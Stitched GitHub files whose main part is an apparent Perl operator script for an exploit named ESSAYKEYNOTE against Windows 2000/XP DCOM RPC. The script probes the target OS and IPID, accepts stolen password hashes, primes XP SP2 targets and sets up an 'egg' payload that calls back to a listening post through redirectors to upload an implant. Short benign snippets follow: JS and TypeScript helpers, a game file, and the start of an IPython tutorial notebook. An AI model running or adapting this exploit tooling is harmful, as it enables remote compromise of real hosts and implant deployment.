&EU_Log(1,"\n\nSelect Endpoint option (THIS IS THE ENDPOINT FOR THE ACTUAL EXPLOIT):\n");
&EU_Log(1," 0) Ephemeral TCP port [DEFAULT]");
if( ($WindowsVersion == $::TARGET_VER_XP) and ($WindowsServicePack != $::SP_VER_2))
{
&EU_Log(1," 1) NBT/Named Pipe (TCP Port 139) *** ONLY WORKS AGAINST XP TARGETS SP < 2");
&EU_Log(1," 2) SMB/Named Pipe (TCP Port 445) *** ONLY WORKS AGAINST XP TARGETS SP < 2");
}
while(1)
{
$EndpointSelected = &EU_GetInput("\nEnter selection [$EndpointSelected]: ", $EndpointSelected);
&EU_Log(0, "\nEnter selection [0]: $EndpointSelected");
if($EndpointSelected eq "0")
{
$EndPoint = $::ESSAYKEYNOTE_TCP_ENDPOINT;
}
elsif($EndpointSelected eq "1")
{
if($WindowsVersion == $::TARGET_VER_XP)
{
$EndPoint = $::ESSAYKEYNOTE_NAMED_PIPE_ENDPOINT;
$attackPort = 139;
}
else
{
&EU_Log(1, "This Endpoint option is incompatible with target OS. Please select again.");
next;
}
}
elsif($EndpointSelected eq "2")
{
if($WindowsVersion == $::TARGET_VER_XP)
{
$EndPoint = $::ESSAYKEYNOTE_NAMED_PIPE_ENDPOINT;
$attackPort = 445;
}
else
{
&EU_Log(1, "This Endpoint option is incompatible with target OS. Please select again.");
next;
}
}
else
{
&EU_Log(1, "Invalid option. Try again or enter 'quit'.");
next;
}
last;
}
my $probeFlag = "n";
$probeFlag = &EU_GetInput("\nUse ESSAYKEYNOTE Touch 1 to get Target Port and IPID ([y],n)? ", "y");
my $probeError = 0;
if(($probeFlag eq "y") or ($probeFlag eq "Y"))
{
($attackPort, $IPID, $probeError) = &touch_tool($root_dir,$TargetIp,$TargetPort, $::RUN_PROBE_1, $TargetTransportProtocol, $TargetApplicationProtocol, $RpcServerIp, $TimeOutValue, $WindowsVersion,$WindowsServicePack, $Domain, $Username, $Password, $NTHash, $LMHash, $attackPort, $EndPoint);
}
if($attackPort == 0)
{
&EU_Log(1, "\n*** WARNING *** Recommend you STOP and re-evaluate before proceeding!");
$continue = &EU_GetInput("\nDo you wish to continue (y,n,[quit])? ", "quit");
&EU_Log(0, "\nDo you wish to continue (y,n,[quit])? $continue");
if( ($continue eq "quit") or ($continue eq "QUIT") or ($continue eq "q") or ($continue eq "Q") ) {
&EU_ExitMessage(1,"User terminated script\n");
}
elsif( ($continue eq "n") or ($continue eq "N") ) {
&EU_Log(1, "Returning to top of script...\n");
next;
}
else {
$probeFlag = "N";
}
}
if( $redirectFlag == 0 )
{
$attackPort = &EU_GetInput("\nEnter the Target port: [$attackPort] ", $attackPort);
&EU_Log(0,"\tTarget Port: $attackPort");
$DestinationPort = $attackPort;
$TargetPort2 = $TargetPort;
$TargetPort = $attackPort;
}
else
{
&EU_Log(1,"NOTE: The exploit needs to be sent to port $attackPort on the target machine!!!");
&EU_Log(1,"SINCE YOU ARE USING REDIRECTION YOU MUST SET UP THE REDIRECTOR FOR THIS PORT");
if( $attackPort < 6500)
{
$LPRedirectionPort = ($attackPort * 10 + 1);
}
else
{
$LPRedirectionPort = ($attackPort + 11);
}
$LPRedirectionPort = &EU_GetInput("\nEnter the Redirection port: [$LPRedirectionPort] ", $LPRedirectionPort);
$DestinationPort = $attackPort;
$TargetPort2 = $TargetPort;
$TargetPort = $LPRedirectionPort;
&EU_Log(0,"\tTarget Port: $LPRedirectionPort");
}
$IPID = &EU_GetInput("\nEnter the IPID: [$IPID] ", $IPID);
&EU_Log(0,"\tIPID: $IPID");
if($EndpointSelected eq "0")
{
$TargetTransportProtocol = $TransProt_tcp;
$TransportProtocol = "tcp";
$TargetApplicationProtocol = $AppProt_NA;
$ApplicationProtocol = "NA";
$RpcConnection = "-rpc";
}
elsif($EndpointSelected eq "1")
{
$TargetTransportProtocol = $TransProt_tcp;
$TransportProtocol = "tcp";
$TargetApplicationProtocol = $AppProt_nbt;
$ApplicationProtocol = "nbt";
$RpcConnection = "-rpc";
}
elsif($EndpointSelected eq "2")
{
$TargetTransportProtocol = $TransProt_tcp;
$TransportProtocol = "tcp";
$TargetApplicationProtocol = $AppProt_smb;
$ApplicationProtocol = "smb";
$RpcConnection = "-rpc";
}
&EU_Log(1,"\nConfirm Network Parameters:");
&EU_Log(1,"\tRoot Directory : $root_dir");
&EU_Log(1,"\tLocal IP : $LocalIp");
&EU_Log(1,"\tPayload file : $PayloadFile");
&EU_Log(1,"\tPayload drop name : $PayloadDropName");
&EU_Log(1,"\tRideArea Option : $RideAreaOpt");
if( $redirectFlag ) {
&EU_Log(1,"\tUsing Redirection : True");
&EU_Log(1,"\tLP Redirector IP : $LPRedirectionIp");
&EU_Log(1,"\tLP Redirector Port : $LPRedirectionPort");
}
else {
&EU_Log(1,"\tUsing Redirection : False");
}
&EU_Log(1,"\tTarget IP : $DestinationIp");
&EU_Log(1,"\tTarget Port : $DestinationPort");
&EU_Log(1,"\tRPC Server IP : $RpcServerIp");
if( $EggSocketStatus eq $::EGG_SOCKET_NEW ) {
&EU_Log(1,"\tEgg Socket Status : New");
if( $redirectFlag ) {
&EU_Log(1,"\tEgg Callback IP : $EggCallbackIp (Middle Redirector)");
}
else {
&EU_Log(1,"\tEgg Callback IP : $EggCallbackIp");
}
&EU_Log(1,"\tEgg Callback Port : $EggCallbackPort");
}
elsif( $EggSocketStatus eq $::EGG_SOCKET_REUSE ) {
&EU_Log(1,"\tEgg Socket Status : Reuse");
}
else {
&EU_Log(1,"\tEgg Socket Status : None");
}
if( $ImplantSocketStatus eq $::IMPLANT_SOCKET_MAINTAIN ) {
&EU_Log(1,"\tExploit Socket Status : Maintain (Use existing connection for the entire operation.)");
}
else {
&EU_Log(1,"\tExploit Socket Status : Close (Existing connection will NOT be used for the entire operation.)");
}
&EU_Log(1,"\tTransport Protocol : $TransportProtocol");
&EU_Log(1,"\tApplication Protocol : $ApplicationProtocol");
&EU_Log(1,"\tRpc Connection flag : $RpcConnection");
if($WindowsVersion == $::TARGET_VER_2K)
{
&EU_Log(1,"\tTarget OS : Windows 2000");
}
elsif($WindowsVersion == $::TARGET_VER_XP)
{
&EU_Log(1,"\tTarget OS : Windows XP");
if($WindowsServicePack == $::SP_VER_01)
{
&EU_Log(1,"\tTarget OS Service Pack: 0 or 1");
}
elsif($WindowsServicePack == $::SP_VER_2)
{
&EU_Log(1,"\tTarget OS Service Pack: 2");
}
}
&EU_Log(1,"\tDomain : $Domain");
&EU_Log(1,"\tUsername : $Username");
&EU_Log(1,"\tPassword : $Password");
&EU_Log(1,"\tIPID : $IPID");
&EU_Log(1,"\tTime OutValue : $TimeOutValue sec");
$continue = &EU_GetInput("\nContinue with the current values ([y],n,quit)? ","y");
&EU_Log(0, "\nContinue with the current values ([y],n,quit)? $continue");
if( ($continue eq "y") or ($continue eq "yes") or ($continue eq "Y") or ($continue eq "YES") ) {
last;
}
elsif( ($continue eq "q") or ($continue eq "quit") or ($continue eq "Q") or ($continue eq "QUIT") ) {
&EU_ExitMessage(1,"User terminated script\n");
}
else {
&EU_Log(1, "Returning to top of script...\n");
next;
}
}
if($WindowsVersion == $::TARGET_VER_XP and $WindowsServicePack == $::SP_VER_2)
{
my $handle = new FileHandle;
while(1)
{
&EU_Log(1,"\n\nSince the target is an XP service pack 2 machine. The target must be primed" .
" before the exploit can be launched. This is a two step process:\n\n" .
"\tFirst, you must activate another DCOM object and get its associated IPID\n" .
"\tSecond, a specially crafted packet must be sent.\n\n");
my $probeFlag = "n";
my $IPID_2 = "0123456789abcdef0123456789abcdef";
&EU_Log(1,"\tNOTE: The following request is being sent to port: $TargetPort2");
$probeFlag = &EU_GetInput("\nUse ESSAYKEYNOTE Touch 2 to get Target Port and IPID ([y],n)? ", "y");
my $probeError = 0;
if(($probeFlag eq "y") or ($probeFlag eq "Y"))
{
($attackPort2, $IPID_2, $probeError) = &touch_tool($root_dir,$TargetIp,$TargetPort2, $::RUN_PROBE_2, $TargetTransportProtocol, $TargetApplicationProtocol, $RpcServerIp, $TimeOutValue, $WindowsVersion,$WindowsServicePack, $Domain, $Username, $Password, $NTHash, $LMHash, $attackPort, $EndPoint);
}
elsif( ($continue eq "q") or ($continue eq "quit") or ($continue eq "Q") or ($continue eq "QUIT") ) {
&EU_ExitMessage(1,"User terminated script\n");
}
else {
&EU_Log(1, "Returning to top of script...\n");
next;
}
if($attackPort2 == 0)
{
&EU_Log(1, "\n*** WARNING *** Recommend you STOP and re-evaluate before proceeding!");
$continue = &EU_GetInput("\nDo you wish to continue (y,n,[quit])? ", "quit");
&EU_Log(0, "\nDo you wish to continue (y,n,[quit])? $continue");
if( ($continue eq "quit") or ($continue eq "QUIT") or ($continue eq "q") or ($continue eq "Q") ) {
&EU_ExitMessage(1,"User terminated script\n");
}
elsif( ($continue eq "n") or ($continue eq "N") ) {
&EU_Log(1, "Returning to top of script...\n");
next;
}
else {
$probeFlag = "N";
}
}
if( $redirectFlag == 0 )
{
$attackPort = &EU_GetInput("\nEnter the Target port: [$attackPort] ", $attackPort);
&EU_Log(0,"\tTarget Port: $attackPort");
$DestinationPort = $attackPort2;
$TargetPort2 = $attackPort2;
}
else
{
&EU_Log(1,"NOTE: The exploit needs to be sent to port $attackPort on the target machine!!!");
&EU_Log(1,"SINCE YOU ARE USING REDIRECTION YOU MUST SET UP THE REDIRECTOR FOR THIS PORT");
if( $attackPort < 6500)
{
$LPRedirectionPort = ($attackPort * 10 + 1);
}
else
{
$LPRedirectionPort = ($attackPort + 11);
}
$LPRedirectionPort = &EU_GetInput("\nEnter the Redirection port: [$LPRedirectionPort] ", $LPRedirectionPort);
$DestinationPort = $attackPort;
$TargetPort = $LPRedirectionPort;
&EU_Log(0,"\tTarget Port: $LPRedirectionPort");
}
$IPID_2 = &EU_GetInput("\nEnter the IPID: [$IPID_2] ", $IPID_2);
&EU_Log(0,"\tIPID: $IPID_2");
$probeFlag = &EU_GetInput("\nUse ESSAYKEYNOTE Touch 3 to prime target ([y],n)? ", "y");
my $probeError = 0;
if(($probeFlag eq "y") or ($probeFlag eq "Y"))
{
my $cmdline = "\"$root_dir\\$::EXPLOIT_EXE\" -r $::RUN_PROBE_3 -i $TargetIp -p $TargetPort -t $TargetTransportProtocol -b $TargetApplicationProtocol -h $RpcServerIp -o $TimeOutValue -w $WindowsVersion -S $WindowsServicePack -M $Domain -U $Username -W $Password -N $NTHash -L $LMHash -E $EndPoint -D $IPID_2";
&EU_Log(0, "$cmdline");
&EU_Log(1, "Priming target...");
if(!open($handle, "$cmdline|"))
{
&EU_ExitMessage(1, "$::RUN_PROBE_3");
}
close $handle;
&EU_Log(1, "Probing target complete.");
}
elsif( ($continue eq "q") or ($continue eq "quit") or ($continue eq "Q") or ($continue eq "QUIT") )
{
&EU_ExitMessage(1,"User terminated script\n");
}
else
{
&EU_Log(1, "Returning to top of script...\n");
next;
}
last;
}
}
return ($TargetIp, $TargetPort, $EggSocketStatus, $ImplantSocketStatus, $PayloadFile, $PayloadType,
$PayloadDropName, $TimeOutValue,
$TargetTransportProtocol, $TargetApplicationProtocol, $RpcConnection,
$EggCallbackIp, $EggCallbackPort,$Username, $Password, $NTHash, $LMHash,$ExternalRideArea,$IPID, $WindowsVersion,
$WindowsServicePack,$RpcServerIp);
}
sub get_auth() {
my ($Username, $Password, $NTHash, $LMHash, $UsingPassword) = @_;
&EU_Log(1,"\nUsername/Password option:\n");
&EU_Log(1," 0) Use anonymous access (No username or password)[DEFAULT]");
&EU_Log(1," 1) Supply a username and password \n\t(Only needed if anon.access is denied or XPSP2)");
&EU_Log(1," 2) Supply a username and NTLM and LANMAN password hash \n\t(Only needed if anon. access is denied or XPSP2)");
while(1) {
$UsingPassword = &EU_GetInput("\nEnter selection [$UsingPassword]: ", $UsingPassword);
&EU_Log(0, "\nEnter selection [$UsingPassword]: $UsingPassword");
if($UsingPassword eq "0")
{
;
}
elsif($UsingPassword eq "1")
{
$Domain = &EU_GetInput("\nEnter Domain[$Domain : Set NULL to log onto local machine]: ", $Domain);
&EU_Log(0, "\nEnter Domain[NULL : Set NULL to log onto local machine]: $Domain");
$Username = &EU_GetInput("\nEnter Username[$Username]: ", $Username);
&EU_Log(0, "\nEnter Username[NULL]: $Username");
$Password = &EU_GetInput("\nEnter Password [$Password]: ", $Password);
&EU_Log(0, "\nEnter Password [NULL]: $Password");
}
elsif($UsingPassword eq "2")
{
$Domain = &EU_GetInput("\nEnter Domain[$Domain : Set NULL to log onto local machine]: ", $Domain);
&EU_Log(0, "\nEnter Domain[NULL : Set NULL to log onto local machine]: $Domain");
$Username = &EU_GetInput("\nEnter Username[$Username]: ", $Username);
&EU_Log(0, "\nEnter Username[NULL]: $Username");
$LMHash = &EU_GetInput("\nEnter LANMAN password hash [$LMHash]: ", $LMHash);
&EU_Log(0, "\nEnter LANMAN password hash [$LMHash]: $LMHash");
$NTHash = &EU_GetInput("\nEnter NTLM password hash [$NTHash]: ", $NTHash);
&EU_Log(0, "\nEnter NTLM password hash [$NTHash]: $NTHash");
$Password = "FakePassword";
}
else
{
&EU_Log(1, "Invalid option. Try again or enter 'quit'.");
next;
}
last;
}
return($Username, $Password, $NTHash, $LMHash, $UsingPassword);
}
sub touch_tool() {
my ($root_dir, $TargetIp, $TargetPort, $RunOption, $TargetTransportProtocol, $TargetApplicationProtocol, $RpcServerIp, $TimeOutValue,$WindowsVersion,$WindowsServicePack, $Domain, $Username, $Password, $NTHash, $LMHash, $attackPort, $EndPoint) = @_;
my $handle = new FileHandle;
my $ProbeError = 0;
my $IPID = "00112233445566778899";
my $cmdline = "\"$root_dir\\$::EXPLOIT_EXE\" -r $RunOption -i $TargetIp -p $TargetPort -t $TargetTransportProtocol -b $TargetApplicationProtocol -h $RpcServerIp -o $TimeOutValue -w $WindowsVersion -S $WindowsServicePack -M $Domain -U $Username -W $Password -N $NTHash -L $LMHash -E $EndPoint";
&EU_Log(0, "$cmdline");
&EU_Log(0, "Probing target...");
if(!open($handle, "$cmdline|")) {
&EU_ExitMessage(1, "$::RUN_PROBE_1");
}
my $junk;
my $line;
my $success = 0;
if( $RunOption eq $::RUN_PROBE_1 or $RunOption eq $::RUN_PROBE_2 )
{
while(<$handle>) {
chomp($line = $_);
&EU_Log(1, $line);
if($line =~ /ERROR/) {
$ProbeError = 1;
}
elsif($line =~ /The activated SENS COM object can be reached on port/) {
if($attackPort == 0)
{
(my $nonsense, $attackPort) = split (/:/, $line);
}
}
elsif($line =~ /The required IPID/) {
(my $nonsense, $IPID) = split (/:/, $line);
}
}
return($attackPort,$IPID,$ProbeError);
}
if( $RunOption eq $::RUN_PROBE_4 )
{
while(<$handle>)
{
chomp($line = $_);
&EU_Log(1, $line);
if($line =~ /ERROR/) {
$ProbeError = 1;
$WindowsVersion = $::TARGET_VER_UNKNOWN;
}
elsif($line =~ /Windows XP SP2/) {
$WindowsVersion = $::TARGET_VER_XP;
$WindowsServicePack = $::SP_VER_2;
}
elsif($line =~ /SP1 and below/) {
$WindowsVersion = $::TARGET_VER_XP;
$WindowsServicePack = $::SP_VER_01;
}
}
return($WindowsVersion, $WindowsServicePack, $ProbeError);
}
}
sub launch_rpctouchii() {
my ($root_dir, $TargetIp, $TargetPort, $RunOption, $TargetTransportProtocol, $TargetApplicationProtocol, $RpcServerIp, $TimeOutValue,$WindowsVersion, $WindowsServicePack) = @_;
my $handle = new FileHandle;
my $ProbeError = 0;
my $cmdline = "\"$root_dir\\$::RPCTOUCHII\" -i $TargetIp -p $TargetPort -r $RunOption -t $TargetTransportProtocol -b $TargetApplicationProtocol -h $RpcServerIp -o $TimeOutValue";
&EU_Log(0, "$cmdline");
&EU_Log(0, "Probing target...");
if(!open($handle, "$cmdline|")) {
&EU_ExitMessage(1, "Unable to execute $::REGPROBE");
}
my $junk;
my $line;
my $success = 0;
if( $RunOption eq $RPCTOUCHII_RUN_GENERAL_PROBE ) {
while(<$handle>) {
chomp($line = $_);
&EU_Log(1, $line);
if($line =~ /ERROR/) {
$ProbeError = 1;
$WindowsVersion = $::TARGET_VER_UNKNOWN;
}
elsif($line =~ /Looks like UNKNOWN Windows version/) {
$WindowsVersion = $::TARGET_VER_UNKNOWN;
}
elsif($line =~ /Looks like Windows 9x/) {
$WindowsVersion = $::TARGET_VER_UNKNOWN;
}
elsif($line =~ /Looks like Windows NT 4.0/) {
$WindowsVersion = $::TARGET_VER_UNKNOWN;
}
elsif($line =~ /Looks like Windows 2000/) {
$WindowsVersion = $::TARGET_VER_2K;
}
elsif($line =~ /Looks like Windows XP Service Pack 2/) {
$WindowsVersion = $::TARGET_VER_XP;
$WindowsServicePack = $::SP_VER_2;
}
elsif($line =~ /Looks like Windows XP/) {
$WindowsVersion = $::TARGET_VER_XP;
}
elsif($line =~ /Looks like Windows Server 2003/) {
$WindowsVersion = $::TARGET_VER_UNKNOWN;
}
elsif($line =~ /Looks like Windows 2003/) {
$WindowsVersion = $::TARGET_VER_UNKNOWN;
}
elsif($line =~ /Looks like either Windows XP or Windows Server 2003/) {
$WindowsVersion = $::TARGET_VER_XP;
}
elsif($line =~ /Looks like it might be Windows XP Service Pack 2/) {
$WindowsVersion = $::TARGET_VER_XP;
$WindowsServicePack = $::SP_VER_2;
}
}
}
elsif( $RunOption eq $RPCTOUCHII_RUN_WINDOWS_2003_PROBE ) {
while(<$handle>) {
chomp($line = $_);
&EU_Log(1, $line);
if($line =~ /ERROR/) {
$ProbeError = 1;
$WindowsVersion = $::TARGET_VER_UNKNOWN;
}
elsif($line =~ /Looks like UNKNOWN Windows version/) {
$WindowsVersion = $::TARGET_VER_UNKNOWN;
}
elsif($line =~ /Looks like Windows 9x/) {
$WindowsVersion = $::TARGET_VER_UNKNOWN;
}
elsif($line =~ /Looks like Windows NT 4.0/) {
$WindowsVersion = $::TARGET_VER_UNKNOWN;
}
elsif($line =~ /Looks like Windows 2000/) {
$WindowsVersion = $::TARGET_VER_2K;
}
elsif($line =~ /Looks like Windows XP/) {
$WindowsVersion = $::TARGET_VER_XP;
$WindowsServicePack = $::SP_VER_01;
}
elsif($line =~ /Looks like Windows Server 2003/) {
$WindowsVersion = $::TARGET_VER_UNKNOWN;
}
elsif($line =~ /Looks like Windows 2003/) {
$WindowsVersion = $::TARGET_VER_UNKNOWN;
}
elsif($line =~ /Looks like either Windows XP or Windows Server 2003/) {
$WindowsVersion = $::TARGET_VER_XP;
}
}
}
return($WindowsVersion, $WindowsServicePack, $ProbeError);
}
sub get_socket_options()
{
my ($ImplantSocketStatus, $EggSocketStatus,
$PayloadType) = @_;
my $opt;
my $EggSocketOption0 = "Re-use existing socket connection";
my $EggSocketOption1 = "Create a new socket connection";
my $ImplantSocketOption = "Maintain this socket for the Implant ".
"connection with the LP";
&EU_Log(1,"\nThe ESKE Exploit Payload Must Call-back in Order to Upload the ".
"Implant Payload.");
&EU_Log(1,"Select the Socket Option To Use:\n\nNOTE: OPTION 0 CAN NOT BE USED AGAINST ".
"WINDOWS XP SERVICE PACK 2 TARGETS \n\n");
&EU_Log(1," 0) $EggSocketOption0 ");
&EU_Log(1," 1) $EggSocketOption1");
while(1)
{
$opt = &EU_GetInput("\nEnter selection [1]: ", "1");
&EU_Log(0, "\nEnter selection [1]: $opt");
if ($opt eq "0")
{
$EggSocketStatus = $::EGG_SOCKET_REUSE;
}
elsif($opt eq "1")
{
$EggSocketStatus = $::EGG_SOCKET_NEW;
}
else
{
&EU_Log(1, "Invalid option. Try again or enter 'quit'.");
next;
}
last;
}
$ImplantSocketStatus = $::IMPLANT_SOCKET_NEW;
if($PayloadType eq "d")
{
if($EggSocketStatus eq $::EGG_SOCKET_NEW)
{
$opt = &EU_GetInput("\n$ImplantSocketOption ([y],n)? ", "y");
&EU_Log(0, "\n$ImplantSocketOption ([y],n)? $opt");
if( $opt eq "y" or $opt eq "Y" or $opt eq "yes" or $opt eq "YES" )
{
$ImplantSocketStatus = $::IMPLANT_SOCKET_MAINTAIN;
}
}
else
{
&EU_Log(1,"\nWhen re-using existing socket connection, the implant must use a");
&EU_Log(1,"new connection.");
}
}
return ($ImplantSocketStatus, $EggSocketStatus);
}
__END__
|
{
"pile_set_name": "Github"
}
|
// export * from './bad-request.filter';
export * from './constraint-errors';
|
{
"pile_set_name": "Github"
}
|
function createModalService() {
var srv = this;
srv.show = function(title, message) {
$("#modal-header").html(title);
$("#modal-body").html(message);
$("#modal").modal("show");
}
return this;
}
|
{
"pile_set_name": "Github"
}
|
owner = CHI
controller = CHI
add_core = CHI
add_core = CHC
infra = 4
infra = 4
infra = 4
infra = 4
1938.5.9 = {
controller = JAP
}
|
{
"pile_set_name": "Github"
}
|
# -*- coding: utf-8 -*-
from .models import User
from .constants import USER_ROLE, ADMIN, USER, USER_STATUS, NEW, ACTIVE
|
{
"pile_set_name": "Github"
}
|
{
"metadata": {
"name": ""
},
"nbformat": 3,
"nbformat_minor": 0,
"worksheets": [
{
"cells": [
{
"cell_type": "markdown",
"metadata": {},
"source": [
"#Mining the Social Web, 2nd Edition\n",
"\n",
"##Appendix C: Python and IPython Notebook Tips & Tricks\n",
"\n",
"This IPython Notebook provides an interactive way to follow along with and explore the numbered examples from [_Mining the Social Web (2nd Edition)_](http://bit.ly/135dHfs). The intent behind this notebook is to reinforce the concepts from the sample code in a fun, convenient, and effective way. This notebook assumes that you are reading along with the book and have the context of the discussion as you work through these exercises.\n",
"\n",
"In the somewhat unlikely event that you've somehow stumbled across this notebook outside of its context on GitHub, [you can find the full source code repository here](http://bit.ly/16kGNyb).\n",
"\n",
"## Copyright and Licensing\n",
"\n",
"You are free to use or adapt this notebook for any purpose you'd like. However, please respect the [Simplified BSD License](https://github.com/ptwobrussell/Mining-the-Social-Web-2nd-Edition/blob/master/LICENSE.txt) that governs its use."
]
},
{
"cell_type": "markdown",
"metadata": {},
"source": [
"## Try tinkering around with Python to test out IPython Notebook...\n",
"\n",
"As you work through these notebooks, it's assumed that you'll be executing each cell in turn, because some cells will define variables that cells below them will use. Here's a very simple example to illustrate how this all works..."
]
},
{
"cell_type": "code",
"collapsed": false,
"input": [
"# Execute this cell to define this variable\n",
"# Either click Cell => Run from the menu or type\n",
"# ctrl-Enter to execute. See the Help menu for lots\n",
"# of useful tips. Help => IPython Help and\n",
"# Help => Keyboard Shortcuts are especially\n",
"# useful.\n",
"\n",
"message = \"I want to mine the social web!\""
],
"language": "python",
"metadata": {},
"outputs": []
},
{
"cell_type": "code",
"collapsed": false,
"input": [
"# The variable 'message is defined here. Execute this cell to see for yourself\n",
"print message"
],
"language": "python",
"metadata": {},
"outputs": []
},
{
"cell_type": "code",
"collapsed": false,
"input": [
"# The variable 'message' is defined here, but we'll delete it\n",
"# after displaying it to illustrate an important point...\n",
"print message\n",
"del message"
],
"language": "python",
"metadata": {},
"outputs": []
},
{
"cell_type": "code",
"collapsed": false,
"input": [
"# The variable message is no longer defined in this cell or two cells \n",
"# above anymore. Try executing this cell or that cell to see for yourself.\n",
"print message"
],
"language": "python",
"metadata": {},
"outputs": []
},
{
"cell_type": "code",
"collapsed": false,
"input": [
"# Try typing in some code of your own!"
],
"language": "python",
"metadata": {},
"outputs": []
},
{
"cell_type": "markdown",
"metadata": {},
"source": [
"## Python Idioms\n",
"\n",
"This section of the notebook introduces a few Python idioms that are used widely throughout the book that you might find very helpful to review. This section is not intended to be a Python tutorial. It is intended to highlight some of the fundamental aspects of Python that will help you to follow along with the source code, assuming you have a general programming background. Sections 1 through 8 of the [Python Tutorial](http://docs.python.org/2/tutorial/) are what you should spend a couple of hours working through if you are looking for a gentle introduction Python as a programming language."
]
},
{
"cell_type": "markdown",
"metadata": {},
"source": [
"### Python Data Structures are like JSON\n",
"\n",
"If you come from a web development background, a good starting point for understanding Python data structures is to start with [JSON](http://json.org) as a reference point. If you don't have a web development background, think of JSON as a simple but expressive specification for representing arbitrary data structures using strings, numbers, lists, and dictionaries. The following cell introduces some data structures. Execute the following cell that illustrates these fundamental data types to follow along."
]
},
{
"cell_type": "code",
"collapsed": false,
"input": [
"an_integer = 23\n",
"print an_integer, type(an_integer)\n",
"print\n",
"\n",
"a_float = 23.0\n",
"print a_float, type(a_float)\n",
"print\n",
"\n",
"a_string = \"string\"\n",
"print a_string, type(a_string)\n",
"print\n",
"\n",
"a_list = [1,2,3]\n",
"print a_list, type(a_list)\n",
"print a_list[0] # access the first item\n",
"print\n",
"\n",
"a_dict = {'a' : 1, 'b' : 2, 'c' : 3}\n",
"print a_dict, type(a_dict)\n",
"print a_dict['a'] # access the item with key 'a'"
],
"language": "python",
"metadata": {},
"outputs": []
},
{
"cell_type": "markdown",
"metadata": {},
"source": [
"Assuming you've followed along with these fundamental data types, consider the possiblities for arbitrarily composing them to represent more complex structures:"
]
},
{
"cell_type": "code",
"collapsed": false,
"input": [
"contacts = [\n",
" {\n",
" 'name' : 'Bob',\n",
" 'age' : 23,\n",
" 'married' : False,\n",
" 'height' : 1.8, # meters\n",
" 'languages' : ['English', 'Spanish'],\n",
" 'address' : '123 Maple St.',\n",
" 'phone' : '(555) 555-5555'\n",
" },\n",
" \n",
" {'name' : 'Sally',\n",
" 'age' : 26,\n",
" 'married' : True,\n",
" 'height' : 1.5, # meters\n",
" 'languages' : ['English'],\n",
" 'address' : '456 Elm St.',\n",
" 'phone' : '(555) 555-1234'\n",
" } \n",
"]\n",
"\n",
"for contact in contacts:\n",
" print \"Name:\", contact['name']\n",
" print \"Married:\", contact['married']\n",
" print"
],
"language": "python",
"metadata": {},
"outputs": []
},
{
"cell_type": "markdown",
"metadata": {},
"source": [
"As alluded to previously, the data structures very much lend themselves to constructing JSON in a very natural way. This is often quite convenient for web application development that involves using a Python server process to send data back to a JavaScript client. The following cell illustrates the general idea."
]
},
{
"cell_type": "code",
"collapsed": false,
"input": [
"import json\n",
"\n",
"print contacts\n",
"print type(contacts) # list\n",
"\n",
"# json.dumps pronounced (dumps stands for \"dump string\") takes a Python data structure\n",
"# that is serializable to JSON and dumps it as a string\n",
"jsonified_contacts = json.dumps(contacts, indent=2) # indent is used for pretty-printing\n",
"\n",
"print type(jsonified_contacts) # str\n",
"print jsonified_contacts"
],
"language": "python",
"metadata": {},
"outputs": []
},
{
"cell_type": "markdown",
"metadata": {},
"source": [
"A couple of additional types that you'll run across regularly are tuples and the special None type. Think of a tuple as an immutable list and None as a special value that indicates an empty value, which is neither True nor False."
]
},
{
"cell_type": "code",
"collapsed": false,
"input": [
"a_tuple = (1,2,3)\n",
"\n",
"an_int = (1) # You must include a trailing comma when only one item is in the tuple\n",
"\n",
"a_tuple = (1,)\n",
"\n",
"a_tuple = (1,2,3,) # Trailing commas are ok in tuples and lists \n",
"\n",
"none = None\n",
"\n",
"print none == None # True\n",
"print none == True # False\n",
"print none == False # False\n",
"\n",
"print\n",
"\n",
"# In general, you'll see the special 'is' operator used when comparing a value to \n",
"# None, but most of the time, it works the same as '=='\n",
"\n",
"print none is None # True\n",
"print none is True # False\n",
"print none is False # False"
],
"language": "python",
"metadata": {},
"outputs": []
},
{
"cell_type": "markdown",
"metadata": {},
"source": [
"As indicated in the [python.org tutorial](http://docs.python.org/2/tutorial/controlflow.html#default-argument-values), None is often used as a default value in function calls, which are _defined_ by the keyword _def_"
]
},
{
"cell_type": "code",
"collapsed": false,
"input": [
"def square(x):\n",
" return x*x\n",
"\n",
"print square(2) # 4\n",
"print\n",
"\n",
"# The default value for L is only created once and shared amongst\n",
"# calls\n",
"\n",
"def f1(a, L=[]):\n",
" L.append(a)\n",
" return L\n",
"\n",
"print f1(1) # [1]\n",
"print f1(2) # [1, 2]\n",
"print f1(3) # [1, 2, 3]\n",
"print\n",
"\n",
"# Each call creates a new value for L\n",
"\n",
"def f2(a, L=None):\n",
" if L is None:\n",
" L = []\n",
" L.append(a)\n",
" return L\n",
"\n",
"print f2(1) # [1]\n",
"print f2(2) # [2]\n",
"print f2(3) # [3]"
],
"language": "python",
"metadata": {},
"outputs": []
},
{
"cell_type": "markdown",
"metadata": {},
"source": [
"### List and String Slicing\n",
"\n",
"For lists and strings, you'll often want to extract a particular selection using a starting and ending index. In Python, this is called _slicing_. The syntax involves using square brackets in the same way that you are extracting a single value, but you include an additional parameter to indicate the boundary for the slice."
]
},
{
"cell_type": "code",
"collapsed": false,
"input": [
"a_list = ['a', 'b', 'c', 'd', 'e', 'f', 'g']\n",
"\n",
"print a_list[0] # a\n",
"print a_list[0:2] # ['a', 'b']\n",
"print a_list[:2] # Same as above. The starting index is implicitly 0\n",
"print a_list[3:] # ['d', 'e', 'f', 'g'] Ending index is implicitly the length of the list\n",
"print a_list[-1] # g Negative indices start at the end of the list\n",
"print a_list[-3:-1] # ['e', 'f'] Start at the end and work backwards. (The index after the colon is still excluded)\n",
"print a_list[-3:] # ['e', 'f', 'g'] The last three items in the list\n",
"print a_list[:-4] # ['a', 'b', 'c'] # Everything up to the last 4 items\n",
"\n",
"a_string = 'abcdefg'\n",
"\n",
"# String slicing works the very same way\n",
"\n",
"print a_string[:-4] # abc"
],
"language": "python",
"metadata": {},
"outputs": []
},
{
"cell_type": "markdown",
"metadata": {},
"source": [
"### List Comprehensions\n",
"\n",
"Think of Python's [list comprehensions](http://docs.python.org/2/tutorial/datastructures.html#list-comprehensions) idiom as a concise and efficient way to create lists. You'll often see list comprehensions used as an alternative to <code>for</code> loops for a common set of problems. Although they may take some getting used to, you'll soon find them to be a natural expression. See the section entitled \"Loops\" from [Python Performance Tips](http://wiki.python.org/moin/PythonSpeed/PerformanceTips) for more details on some of the details on why list comprehensions may be more performant than loops or functions like <code>map</code> in various situations."
]
},
{
"cell_type": "code",
"collapsed": false,
"input": [
"# One way to create a list containing 0..9:\n",
"\n",
"a_list = []\n",
"for i in range(10):\n",
" a_list.append(i)\n",
"print a_list \n",
" \n",
